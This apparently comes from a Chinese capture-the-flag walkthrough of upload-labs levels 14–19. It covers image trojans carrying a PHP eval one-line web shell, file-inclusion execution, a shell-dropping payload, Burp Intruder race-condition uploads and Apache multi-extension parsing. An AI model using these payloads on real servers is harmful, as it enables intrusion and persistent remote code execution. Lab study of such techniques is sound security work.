    在进入 Pass-14 时,作者给了三条注意事项,其中第二条就是针对这个问题:

    1
    2.使用文件包含漏洞能运行图片马中的恶意代码。

    也就是说,为了运行代码,靶机中预留了文件包含漏洞,同时这也意味着本关漏洞必须配合文件包含漏洞食用。

  • 关于这是如何实现的,我们可以先看一下这段文件包含漏洞的代码:

    本关就是由于 BUU 上未知原因该代码打不开,所以切换至本地靶机。经测试 BUU 平台文件正常,因此这里挖个坑,日后有能力再来解答。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    /*
    本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
    */
    header("Content-Type:text/html;charset=utf-8");
    $file = $_GET['file'];
    if(isset($file)){
    include $file;
    }else{
    show_source(__file__);
    }
    ?>
    header() 方法作用就是传送 HTML 文档标头以告诉浏览器如何处理这个页面,参数内容表示页面内容为 html,编码为 utf-8

    然后 $file 通过 GET 方法接收一个变量 fileisset() 则用于判断是否非空。也就是说,如果接收到了数据,数据内容就会被 include ,而如果没有接收到,则会显示 PHP 中的一个常量 __file__

  • 而所谓文件包含,就是让服务器执行程序时通过包含函数加载另一个文件中的代码并且执行。有 include()require()include_once()require_once() 四种,其中 include() 表示执行该语句时包含,而 require() 表示程序运行开始就包含,后面两种则分别表示前面两种的不重复包含版本,即文件中代码已被包含则不会再次包含。

  • 本关中我们上传的图片马中就会包含一句话木马,而木马的激活需要让 PHP 代码被执行,靶机中预留的文件包含漏洞代码中就使用了 include 函数,因此就可以用文件包含的形式将我们上传的文件内容作为 PHP 代码执行。我们需要做的就是将上传的文件用 GET 方法传递给该漏洞文件的 file 变量,我们在前面关卡中也使用过 GET 方法,只需在 URL 后添加 ?file=[文件路径] 即可传递。

突破限制

  • 首先构建图片马,可以采用两种方法,一种是将木马通过文本编辑器(或者命令行)写入图片文件,另一种则是在文本文件输入合法文件头,然后将木马代码直接放在文件头之后。

  • 这里先解释第二种方法,为什么文本文件中可以直接存放文件头且合法,文本自身的文件头不起作用吗?

    • 在 Windows 中,我们保存一个文本文件的默认编码都是 UTF-8,而当我们选择另存为时,会发现还可以选择其他几种编码:

      这几种编码的具体内容在这不作讨论,只需知道 ANSI 编码与 UTF-8 编码是没有文件头的。值得注意的是,UTF-8 BOM 中的 BOM 就是 UTF-8 的文件头的意思,据说之前 Windows 默认就是带文件头版本的 UTF-8 编码,这里不做考证,如遇到问题修改为 ANSI 编码即可。

      此外,为明确基本概念,我们还需要知道这里的 ANSI 编码并不是意味着使用一种叫 ANSI 的编码,而是根据系统环境为我们选择特定的编码。如图,用记事本打开一张图片,编码就默认为 ANSI

      当然实际编码为 GBK,因为我的电脑是简体中文版的。

    • 因此,我们直接编辑一个只含有文件头加 PHP 代码的文本文件。合法的文件头的十六进制数值有三种,.jpgFFD8FF.png89504E47 以及 .gif47494638。可以在 UltraEdit 的十六进制模式下直接将文件头值写入,当然并不建议这样做,既然选择直接构建文本,直接输入文件头数值对应的字符不就好了。

    • 话虽这么说,就像前面所看到的,数值对应的字符实际上我们并不能直接输入:

      点表示无法显示的字符,也就是说 .png.jpg 文件显然不能直接输入字符完成了。但是还有一个“友好”的格式:.gif

      可以看到,他的文件头的字符就是 GIF89a ,因此我们的文本内容可以直接为 GIF89a <?php @eval($_POST["h-t-m"]);?> 。为了方便查看木马执行情况,在一句话木马中我们加入 phpinfo(); 用于在页面中显示 PHP 环境信息,也就是 GIF89a <?php @eval($_POST["h-t-m"]);phpinfo();?> . 当然,由于只检查两个字节,因此 GIF89a 也不用完全输入,这里保持文件头完整性,一不小心还兼容了下一关

    • 只要编码正确,后缀名他又不检查,因此,我们的文件直接使用 .php 后缀也没事:

      显然我的 PHP 文件已经进入编译器时代了(指图标)。

    • 上传文件,完成!

      可以看到文件已经被识别为 GIF 文件并且重命名好放在 upload 目录下了:

  • 不急,再讨论一下第一种方法,把代码放入图片文件中。

    • 理论上只需要在记事本中打开并添加代码即可。使用记事本打开图像时,他实际上并不能正确识别如图像等非文本文件,记事本只是简单地将字节流视为 ANSI 编码的文本打开。当然这对文件不会造成太大影响,但是重点在于,当你保存文件时,记事本不会保留特殊字符,也就是说,无论你是否对内容进行操作,记事本都会以 ANSI 的标准修改数据。例如替换映射特殊/未定义/禁止字符的字节,因为它们对于有效的 ANSI 文本没有意义,或者将空字符、行尾和文件序列结尾重新编码为 Windows / DOS 约定(如 Windows 系统中行尾使用两个字符表示:CRLF,即回车和换行)。关于 ANSI 的更多讨论可以 参考这里 ,我们只需意识到,使用记事本对图片进行修改是绝对不可取的,即使你不做修改。

    • 我们可以使用 NotePad++ 或者 UltraEdit 等可以完成十六进制编辑的编辑器进行修改,只要保持文件头,我们可以在任意位置插入木马:

    • 不过还有一种更加优雅的方式,就是在命令行中使用 copy 命令:

      1
      copy [图片文件名] /b + [木马文件名] /a [合成后的文件名]
      /b 意为使用二进制打开文件,/a 意为使用文本方式打开文件,因此上述指令的意思就是,打开二进制流图片并在后方接入木马文本内容,合成的文件以最后的参数作为文件名另存。

      可以在编辑器中验证合成的结果:

    • 上传修改后的图片文件,成功!

      当然,一个小建议是使用较的图片文件,毕竟图片只是个借口,何况图片中的字符多了我们也把控不住!

夺旗

  • 经上文分析,将构造好的文件上传至服务器后,在含有文件包含漏洞的页面 URL 后添加 ?file=[文件路径] 即可,点开题目中的漏洞链接即可值得漏洞文件所在的地址,即在网页根目录处:

    为了直观验证木马执行情况,我们在一句话木马代码中预留了 phpinfo(),因此直接打开页面即可观察到:

    显示了 PHP 的信息,因此木马成功被包含并执行了!

  • 那么接下来就是蚁剑连接了,值得注意的是,我们的链接应该指向代码作用之处。之前的关卡由于代码直接就执行了,因此连接到文件即可,而这一次代码是被包含到 include.php 之后才被执行的,因此应指向包含木马后include.php 文件,即:

    1
    http://[靶机地址]/include.php?file=upload/[文件名]
  • 创建连接,显然是应该成功的。

  • 夺旗!连接成功了就行,想必本地目录也看累了,既然无旗可夺,不如看个视频放松一下。

Pass-15

启动靶机

  • 来了来了第 15 关

研究页面

  • 直接看提示

    使用 getimagesize() 检查图片文件。

  • getimagesize() 函数用于获取图像大小及相关信息,成功就会返回一个具有四个单元的数组。索引 0 包含图像宽度的像素值,索引 1 包含图像高度的像素值。索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM。这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应。索引 3 是文本字符串,内容为“height="yyy" width="xxx"”,可直接用于 IMG 标记。更多关于该函数可以 [参考这里](https://www.php.net/manual/zh/function.getimagesize.php) 。
  • 查看源码,关键代码为这部分:

    1
    2
    3
    4
    5
    6
    7
    $info = getimagesize($filename);
    $ext = image_type_to_extension($info[2]);
    if(stripos($types,$ext)>=0){
    return $ext;
    }else{
    return false;
    }

    注意到这里使用了 getimagesize() 函数返回的数组的第三个元素,也就是图像类型。

  • 不难看出,本关与 Pass-14 极其相似,不同之处仅仅在于 Pass-14 仅检查文件头两个字节,而本关会检查完整的类型。不过,Pass-14 中的所有方法都包含了完整的文件头,因此本题可直接使用使用。

突破限制

  • 随机选择一种 Pass-14 的方法,将文件上传靶机,成功。

  • 打开文件包含漏洞的文件,BUU 中依旧会出现问题,但是这次就不换本地靶机,因为我怀疑这个问题不影响使用。

  • 在漏洞 URL 后加上 ?file=upload/[文件名] ,当然,上回书说到,服务器会对文件重新以数字序列命名保存,因此切勿使用本地上传时的本地文件名。回车后,果然 BUU 靶机的那个错误并不影响使用,正确显示了 phpinfo()

夺旗

  • 蚁剑连接,与 Pass-14 同款链接(木马执行处)。成功!

  • 根目录夺旗

Pass-16

启动靶机

  • 没几关了,加油网安人

研究页面

  • 直接看提示

    使用 exif_imagetype() 检查文件类型。

  • exif_imagetype() 读取一个图像的第一个字节并检查其签名。当然,这个函数需要开启 php_exif 模块,在 BUU 平台本关依然没有开启相应模块,因此本关依旧部署于本地。在 phpstudy 中自带的 php 版本中直接勾选 php_exif 模块即可,也可能叫 exif,都是一样的:
  • 但是,由于我使用的版本是自己下载的,就无法这样快捷设置了,因此这里示范修改配置。在 Pass-12 中因为版本问题而从官方下载了 php 5.2.10 的包,当时有个疑问,就是根目录并没有 php.ini 配置文件。由于当时只是需要修改参数值,因此我就直接新建了 php.ini 文件并输入修改配置。但是呢,其实官方包不仅不会没有配置文件,甚至还有两个,就是他们:

    php.ini-dist 文件的开始就是这么一段话:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ;;;;;;;;;;;
    ; WARNING ;
    ;;;;;;;;;;;
    ; This is the default settings file for new PHP installations.
    ; By default, PHP installs itself with a configuration suitable for
    ; development purposes, and *NOT* for production purposes.
    ; For several security-oriented considerations that should be taken
    ; before going online with your site, please consult php.ini-recommended
    ; and http://php.net/manual/en/security.php.

    也就是说,php.ini-dist 的安全等级较 php.ini-recommended 低,开发者安装时默认为 php.ini-dist。当然他们的具体区别与本关的关系不大,我们只需将其中任意一个文件的内容保存至 php.ini 文件中即可,这样以后所有的配置都只需修改该文件内容即可。需要注意的一点是,如本关这样需要添加扩展的配置,切记在配置文件中要加上扩展所在路径,一般在 php 下的 ext 目录中,只需修改文件中的 extension_dir 值即可:

    如果不修改路径就直接进行配置,那么你将会收到一个服务器 500 错误:

    对于开启 exif 可以参考官网对应的 配置说明

    也就是说,我们需要删除 extension=php_exif.dllextension=php_mbstring.dll 前的分号(即取消注释),由于 extension=php_exif.dll 默认置于 extension=php_mbstring.dll 之前,因此需要修改顺序,将 extension=php_mbstring.dll 放至前方优先加载,此外在配置文件的 exif 部分,也需要将所有配置内容取消注释:

    这样,就完成了配置。哦对了,事实证明,当我们创建好完整的配置文件之后(路径也配置好),phpstudy 就可以快捷配置了,不需要一个个去取消注释,直接勾选即可(参照上一条)。虽然有点不信,但不得不说,进行到 16 关了,竟然才刚完成本地配置,惭愧惭愧。

  • 如何判断配置有没有生效呢,显然生效了才能上传文件,如果不生效,则会收到一个静默的页面:

突破限制

  • 由于 exif_imagetype() 函数只检查一个字节,因此前面关卡的所有解法都绰绰有余,不得不说这个函数,你好大的官威啊。这里直接上传文件,成功。

  • 向漏洞文件传参,木马成功执行!

夺旗

  • 还是意思一下,蚁剑连接!(依然还是那款链接)

  • 本地无旗,反正目录不好看,再看个视频放松一下

Pass-17

启动靶机

  • 最后一个图片马了!

研究页面

  • 先看提示:

    重新渲染了图片?有意思,看不懂。

  • 看看源代码,代码较长,其实大多重复,看这一段即可:

    作者在代码中给了较为详细的注释,大致过程就是先获取上传文件的文件类型和文件名等,文件类型可参考 Pass-02 ,通过文件类型与文件名的比对以分别使用对应的重渲染函数,当然伪造的后缀与文件类型会导致渲染函数返回 false,因此文件必须合法。虽然文件上传后才作检测,但是不合法的文件均会通过 @unlink() 函数删除。

  • 我们需要注意的地方就是执行重新渲染的函数,也就是图中的这句以及其他两种类型的对应函数:

    1
    2
    3
    $im = imagecreatefromjpeg($target_path);  // .jpg
    $im = imagecreatefrompng($target_path); // .png
    $im = imagecreatefromgif($target_path); // .gif

    这些函数会将对应文件进行重新渲染,也就是说,我们需要想办法让渲染后的文件中依然含有木马代码,这就有点麻烦了!

  • 我们有必要好好了解一下 .jpg.png.gif.

    • 先从简单的说起,.gif 文件:GIF

      之前说到,GIF 的文件头为 47494638,对应字符为 GIF8,但我们之前都是直接用 GIF89a,这是 GIF 的一个版本,89 代表发布年份,还有另一个版本是 GIF87a,这六个字符便构成了文件的第一个部分——Header, 这部分是绝对不会更改的,当然本关我们也没办法利用。后面接的就是文件数据流部分,对数据流的结构这里不作分析,可参考 这篇文章 详细解析。

      需要注意的是,GIF 使用 LZW 压缩算法,用于信息的无损压缩,而就是因为无损,数据流中的许多数据都不会在重新渲染时被修改,当然我们不必去了解哪部分被保留,只需上传文件后再下载,在不变的数据中插入木马即可。当然实际原理会更复杂一些,这里不作解释。

    • 再看 .png 文件:PNG

      还是之前说到,PNG 的文件头为 89504E47,但其实这并不完整,PNG 的文件头实际是固定的 89504E470D0A1A0A 这八个字节构成。而剩下部分则由 3 个以上的数据块构成,其中 IHDRIDATIEND 是必须有的三个关键数据块,分别表示文件头数据块、图像数据块和图像结束数据块,此外还有一个可选的关键数据块 PLTE,表示调色板数据块。当然还有许许多多的辅助数据块,这里就不涉及了,可参考 这篇文章 详细解析。

      我们需要知道的是,每个数据块都由 Length (长度)Chunk Type Code (数据块类型码)Chunk Data (数据块数据)CRC (循环冗余检测),其中重点在于最后的 CRC ,他是用来检测是否有错误的循环冗余码。相当于,只要内容被修改了,大概率可以 CRC 检测出来。而 php 处理 PNG 图片文件时,就会首先检验 CRC 以及长度,若不正确就有理由怀疑你放毒,就会报错。因此,若在 PNG 图片中藏木马,则应一并修改所属数据块的 CRC 及长度。 此外,许多数据块都具有相对固定的格式与长度,显然我们无法以这类数据块为目标。

    • 最后就是 .jpg 文件:JPG

      依然之前说到,JPG 的文件头为 FFD8FF,事实上这依然不严格。JPG 文件由八个部分组成,每个部分称为『段』,每个段的头两个字节作为标记,其中首字节固定为 FF ,因此上述文件头实际是 JPG 文件头段 FFD8 与后续部分的首字节相连形成,其中 D8 为文件头的标记码。段与段之间可以有多个 FF 且会自动忽略取最后一个。除了文件头段与文件尾段仅含标记码用来标记段类型,其余所有段的结构均为 段标识(FF)+段类型(标记码)+段长度+段内容,其中段长度占两个字节,包括段内容和段长度本身,不包括段标识和段类型。关于各个段更加详细的内容,这里依然不多赘述,可参考 这篇文档 详细解析。

      我们需要知道的是,JPG 文件使用有损压缩,因此即使能正常嵌入文件,也需要保证重渲染后木马不会被改变。

突破限制

  • 重渲染用到的 imagecreatefrom* 函数需要 GD 库的支持,很遗憾 BUU 依然没有执行这项配置,因此本关依然部署于本地,在 phpstudy 中只需将 php_gd2 勾选即可,更多详细配置可 参考这里

  • 分别用三种图片进行图片马的构建

    • GIF

      构建 GIF 图片码会相对简单,上传下载再比较,好家伙图片直接静态了。

      原 GIF 文件
      重渲染 GIF 文件

      将两个文件在 UltraCompare 中打开,可以看到前排的数据大部分都保留完好,因此基本可以将木马放在这部分。

      随机插入一个位置,保存后继续上传,打开后貌似失败了,继续对比数据内容,发现木马数据被拎出来了。

      遇到这种情况呢,那没办法,得换个位置。于是乎又尝试了几次,最后还是成功了!

    • PNG

      对于 PNG 文件,基本要使用脚本进行编辑,网络上可以找到许多代码,由于我暂时无法自主实现,太菜了,因此不作展示。

    • JPG

      不作展示,理由同上。

夺旗

  • 很遗憾,只完成了一个文件,不过还好这并不影响结果,蚁剑连接,成功!

  • 本地无旗,我们看视频

Pass-18

启动靶机

  • 又回到这个页面了就是说,最近由于 BUU 抽风,网页有点不稳定,因此最后四关默认本地部署,也就是再无 flag 了。

研究环境

  • 先看提示

  • 既然盛情邀请,那就恭敬不如从命,看源码!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    $is_upload = false;
    $msg = null;

    if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    // 构造白名单
    $file_name = $_FILES['upload_file']['name'];
    // 读取文件名
    $temp_file = $_FILES['upload_file']['tmp_name'];
    // 读取临时文件名
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    // 读取文件后缀名
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    // 确定上传路径,使用获取到的文件名

    if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
    // 判断后缀名是否在白名单中
    $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
    rename($upload_file, $img_path);
    // 为文件随机重命名
    $is_upload = true;
    }else{
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
    unlink($upload_file);
    }
    }else{
    $msg = '上传出错!';
    }
    }
  • 为方便解读我在代码中添加了注释,仅仅是单纯的上传后比对白名单后重命名。如果利用文件包含漏洞的话,本关可以轻易完成,因为程序只检查后缀名,因此直接将木马文件的后缀名修改为任一合法后缀名然后文件包含即可。不过本关应该值得更优雅的方法,大致思路是,由于程序会优先完成上传动作,而数量多了后续检查后缀名就无法快速完成,那我们快速上传一堆木马文件,就会留出足够的时间让我们完成入侵。这就是条件竞争。

  • 不过,假设文件访问成功了,但是过不了多久还是会被删除,而失去了木马文件侵略也就失效了,为此我们可以修改以下木马文件。既然访问木马文件就会执行里面的程序,那如果程序中含有能生成新的木马文件的代码呢,这样只要成功访问一次上传的木马,就相当于在服务器中永久植入了木马!因此,修改木马内容如下:

    1
    <?php fputs(fopen('h-t-m-2.php','w'), '<?php @eval($_POST["h-t-m"]);phpinfo();?>');?>
    fopen() 函数用于打开文件,如果文件不存在则创建新文件,而 fputs() 则会将字符串写入文件中,而字符串的内容就是我们熟悉的一句话木马了,值得注意的是新创建的文件一定不能与上传的木马文件名相同,毕竟删除是基于文件名的。

突破限制

  • 短时间重复多次上传,手动肯定是来不及的,因此在 Burp Suite 中打开靶机,直接上传文件抓包,右键 send to Intruder.

  • Intruder 下的 Positions 页面就可以看到我们上传文件抓到的包了,现在我们只需一直发送这个包即可。首先在 Positions 页面点击 clear § 其中 § 用于包裹有效荷载,由于我们不需要修改,因此删除 §.

  • 之后转到 Payloads 页面修改 Payload type 同样因为我们不需要修改有效荷载,因此选择 Null payloads.

  • 之后该页面就会多一个条目 Payload Option [Null payloads],这里选择 Continue indefinitely,即无限重放,只要我们不喊停,他就会一直发包。

  • 当然,默认状态下并发请求数为 10,若觉得不够,可以在 Resource Pool 页面下创建新的 resource pool 并指定并发请求数。

  • 最后点击右上角橙色按钮 Start attack 即开始运作,如果是本地部署的话,可以看到本地 upload 文件夹下不停闪烁着上传的木马文件。只需在他存在的期间访问他,即可完成木马的植入。

  • 如果只是继续用浏览器不断刷新访问,既不够高效,也不够优雅,甚至访问极其容易出错,完全对不起 Burp Suite 的效率。因此建议使用脚本,如下 Python 代码即可。

    1
    2
    3
    4
    5
    6
    7
    import requests
    url = "[靶机地址]/upload/[文件名]"
    while True:
    html = requests.get(url)
    if html.status_code == 200:
    print("Nice!")
    break

    其中 requests.get(url) 即对链接的访问,而 html.status_code 代表访问返回的状态码,200 即成功处理。

  • Intruder 在发包的同时运行上述 Python 代码,当屏幕输出一句响亮的 Nice!,说明木马已成功植入。

夺旗

  • 蚁剑连接,当然要连接的应该是我们通过木马文件间接植入的文件。

  • 依旧本地无旗,继续看个视频。

Pass-19

启动靶机

  • 最后三关,加油!

研究页面

  • 查看提示

    依然是代码审计,所以看源码!

  • 源代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    //index.php
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit']))
    {
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
    case 1:
    $is_upload = true;
    $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
    break;
    case 2:
    $msg = '文件已经被上传,但没有重命名。';
    break;
    case -1:
    $msg = '这个文件不能上传到服务器的临时文件存储目录。';
    break;
    case -2:
    $msg = '上传失败,上传目录不可写。';
    break;
    case -3:
    $msg = '上传失败,无法上传该类型文件。';
    break;
    case -4:
    $msg = '上传失败,上传的文件过大。';
    break;
    case -5:
    $msg = '上传失败,服务器已经存在相同名称文件。';
    break;
    case -6:
    $msg = '文件无法上传,文件不能复制到目标目录。';
    break;
    default:
    $msg = '未知错误!';
    break;
    }
    }

    //myupload.php
    class MyUpload{
    ......
    ......
    ......
    var $cls_arr_ext_accepted = array(
    ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
    ".html", ".xml", ".tiff", ".jpeg", ".png" );

    ......
    ......
    ......
    /** upload()
    **
    ** Method to upload the file.
    ** This is the only method to call outside the class.
    ** @para String name of directory we upload to
    ** @returns void
    **/
    function upload( $dir ){

    $ret = $this->isUploadedFile();

    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    // if flag to check if the file exists is set to 1

    if( $this->cls_file_exists == 1 ){

    $ret = $this->checkFileExists();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
    $ret = $this->renameFile();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }
    }

    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );

    }
    ......
    ......
    ......
    };

    代码分为两部分,隶属于 index.php 的执行代码与隶属于 myupload.phpMyUpload 类,对上传文件所执行的操作基本集中在该类中。当然这里只提供了该类的一个预览,让我们知道大致有哪些功能,具体的实现都在靶机后台。

  • 首先是白名单部分,本关的白名单数量较多,不再仅限于图片三巨头。

    1
    var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z", ".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" );
  • 接下来是程序唯一可调用的 MyUpload 类中的函数 upload,依据代码可判断,只要维持变量 $ret 等于 1 即可。而要满足这一条件,文件则必须正确通过以下函数,函数内容可由函数名推测。

    1
    2
    3
    4
    5
    6
    7
    isUploadedFile()    // 检查文件能否上传到服务器临时目录
    setDir( $dir ) // 检查目录是否可以写入
    checkExtension() // 将文件后缀名与白名单比对
    checkSize() // 检查文件是否过大
    checkFileExists() // 检查文件是否已存在(同名)
    move() // 移动至指定目录
    renameFile() // 重命名

    可以看出,这次上传文件需要先检查后缀名 checkExtension() 然后才会在目录中传好文件 move(),因此,本次的文件后缀名必须在白名单内。如果通过文件包含的话,依然可以简单构造图片马就能成功,不过,本关依然值得更优雅的方法。

  • 这里可以利用 Apache 的解析漏洞,由于 Apache 解析文件从右向左解析,如果后缀名无法识别,就会忽略并继续继续向左解析。例如,文件名为 h-t-m.php.h-t-m 的文件,由于 .h-t-m 后缀无法识别,因此文件会被解析为 h-t-m.php。而 Apache 可识别哪些文件后缀名,可以在 Apache 的 conf 目录下的 mime.typs 中找到。

  • 但是,并不是将符合条件的文件上传即可,因为从源代码中可以看出,程序会对文件进行重命名,而重命名则会导致漏洞失效,因此依然需要使用条件竞争,在重命名之前执行文件!

突破限制

  • 查找 mime.typs 文件,与白名单中一一做比较,然而事情并没有这么顺利,因为在我本地的文件中,白名单的所有后缀名均能识别。那没办法,只能手动更改了,在白名单中挑选一个软柿子,将他注释掉,这样就没办法识别他了。就你了,.ppt,在该句前加一个 # 即可。

    后文将看到,还是 .7z 更好用,虽然文件中有他的配置,实测表示并不影响,即不取消注释也可以。

  • 构造一个木马 .ppt 文件,在原木马文件后直接添加后缀 .ppt 即可,注意务必保留 .php,否则无法利用漏洞。

  • Burp Suite 中打开靶机,上传文件,抓包后发送至 Intruder,具体步骤与 Pass-18 中相同,这里稍加概括,Clear $ 后设置 PayloadsNull payloads,并选择 Continue indefinitely 以无限重发,最后在 Resource Pool 中设置适当的最大并发请求数 Maximum concurrent requests 即可 Start attack .

  • 依旧利用 Pass-18 中使用的 Python 程序访问文件。修改路径指向上传文件即可,值得注意的是,本关的上传路径应该存在 Bug 目前作者未修改。上传一张合法图片,打开图片查看路径即可发现文件被保存在了靶机根目录,且原 upload 目录名被加在了文件重命名的数字序列前面,由此可判断应该是构造上传路径时少了一个 /,这里不作修正,了解即可。

    因此访问所上传的文件的 URL 应为 [靶机地址]/upload[文件名]

  • 两边一同运行,力图植入木马,但是这次就不这么顺利了,Python 程序一直在运行中:

  • 修改代码,加入下面语句,即输出访问返回的状态码:

    1
    print(html.status_code)

    在输出窗口可以看到,访问文件一直返回的是 500,即服务器错误。但是在 Burp Suite 不断发包的过程中,是可以看到上传文件在闪动的,也就是说,文件存在,但是无法访问。

问题探究

  • 我们在靶机目录中放入木马文件与修改后的伪 .ppt 文件,在浏览器中访问他们。

    木马文件正常访问,但是 .ppt 文件始终会报 500 服务器错误,因此,该文件并没有被解析为 PHP 文件,也就是漏洞不成立:

  • 我在 这篇文章 中寻找到了答案,也就是说,靶机环境应使用 module 方式连接 PHP 与 Apache。关于不同方式的介绍,可以参考 这篇文章。说到这里,就应该注意到,其实作者在环境配置要求中就有提到这个:

  • 那么具体应该如何配置呢,在 官方文档 中其实就有,不过并不叫 module 方式,而是 Apache handler 方式:

    参考文档中完成配置,其中两个路径都要修改为本地的路径,由于我自行下载配置的 PHP5 版本不包含 php5apache2_4.dll 文件,因此配置使用的是 php5apache2_2.dll,仅供参考:

    1
    2
    3
    4
    5
    LoadModule php5_module "D:/phpstudy_pro/Extensions/php/php-5.2.10-Win32/php5apache2_2.dll"
    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
    </FilesMatch>
    PHPIniDir "D:/phpstudy_pro/Extensions/php/php-5.2.10-Win32"
  • 重启 Apache 即可更新配置,但是……

    很遗憾,报错了,那段十六进制字符串翻译成中文的意思是,不是有效的 win32 程序,也就是说,这个 php5apache2_2.dll 并不能供我们使用。只是说不是有效的 win32 程序的话,就应该是 Apache 和 PHP 版本并不匹配的问题吧,虽说理论上高版本应该兼容低版本才对。

  • 本地靶机使用的 Apache 版本为 2.4.39,不算旧,那就更新 PHP 的版本,当然这基于高版本 Apache 依然存在该漏洞的前提下。Windows 的各版本的包可以在 官方存档 中找到,这里有从 PHP 5.2.10 以后几乎全部的包,由于我的本地其他组件均使用 64 位版本的,因此这次 PHP 有必要使用 64 位版本,这里选择 5.5.20 版本,其中 520 致我的爱情!包中应含有 php5apache2_4.dll 文件,其中 2_4 对应于 Apache 的版本,实测 nts 版本(即非线程安全)的包中是不含该文件的。

  • 下载好后解压到相应文件夹中 PhpStudy 就会自动检测到,可参考 Pass-16 完成初始的扩展路径配置。值得注意的是,在这个版本中针对 Windows 的扩展路径是提供快捷配置的,只需将对应注释去点即可(其实就是使用相对路径):

  • 然后我们再次修改 Apache 的配置文件 httpd.conf 将路径指向新配置的 PHP 中,这里路径仅供参考:

    1
    2
    3
    4
    5
    LoadModule php5_module "D:/phpstudy_pro/Extensions/php/php-5.5.20-Win32-VC11-x64/php5apache2_4.dll"
    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
    </FilesMatch>
    PHPIniDir "D:/phpstudy_pro/Extensions/php/php-5.5.20-Win32-VC11-x64"

    启动 Apache,成功,也就是说已经完成了将 PHP 与 Apache 以 module 方式连接。

  • 但是,再次访问测试用的文件时,依然是 500 服务器错误😅

    将文件重命名为 h-t-m-2.h-t-m再测试一遍,浏览器将会显示出木马内容,而再重命名为 h-t-m-2.php.h-t-m 则依然显示 500 服务器错误。也就是说,对于后缀 .h-t-m 的文件会因为无法识别而被解析为普通文本,而添加 .php. 之后则会因为解析漏洞而检测到 .php 后缀,而经过测试,.php 文件是可以正常执行的,因此本次是添加未知后缀并引起向前解析后缀导致了 500 服务器错误。此外,这里不使用 .ppt 文件作测试是因为 Windows 系统对该文件过于敏感,频繁报毒,因此非常后悔选择这个后缀,建议优先选择 .7z,后文也将更换为该格式进行实操。

  • 因此我们可以查看关于 .php 文件的执行方式,关于这一点,其实在配置 module 方式时就有过相关配置:

    1
    2
    3
    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
    </FilesMatch>

    就是上面这段,表示匹配到 .php 后缀时使用 x-httpd-php 运行该文件,即执行 PHP 脚本。但是,值得注意的是,最后的字符 $ 表示的是尾部匹配,即 .php 后不应有任何字符,这也就是为什么正常的 .php 文件可以正常解析而 .php.h-t-m 文件则无法解析。事实证明 Apache 默认配置也是这种匹配方式,而解决这个问题的方法就是将 $ 删去即可,这样才能与本关的漏洞匹配!

  • 继续在浏览器中打开伪装木马文件,没有任何反应,同时文件所在木马生成了通过该文件生成的木马文件!成功了!

再次突破

  • 删除用于测试的文件后,再次尝试入侵,在 Burp Suite 中再次重发包同时 Python 程序运行,再一次,Nice!

  • 不过实测有很大概率在 Python 完成 Nice! 之后并没有木马成功植入,而在浏览器中则会返回如下错误:

    文件流打开错误,文件突然找不到了,虽然返回的依然是 200 成功。其实可以理解为锁定文件后还没执行代码文件就已经被删除了,可能是来不及?具体原因暂时无法解答,但一种可行的解决方案是在重发包期间多访问几次,将 Python 代码中的 break 去掉然后手动适时关闭程序即可,或者手动修改代码定义循环次数。

  • 最后在根目录就会出现间接植入的木马文件:

夺旗

  • 蚁剑连接,连接到最终植入的木马文件:

  • 依旧本地无旗,继续看个视频。

Pass-20

启动靶机

  • 最后两关!

研究页面

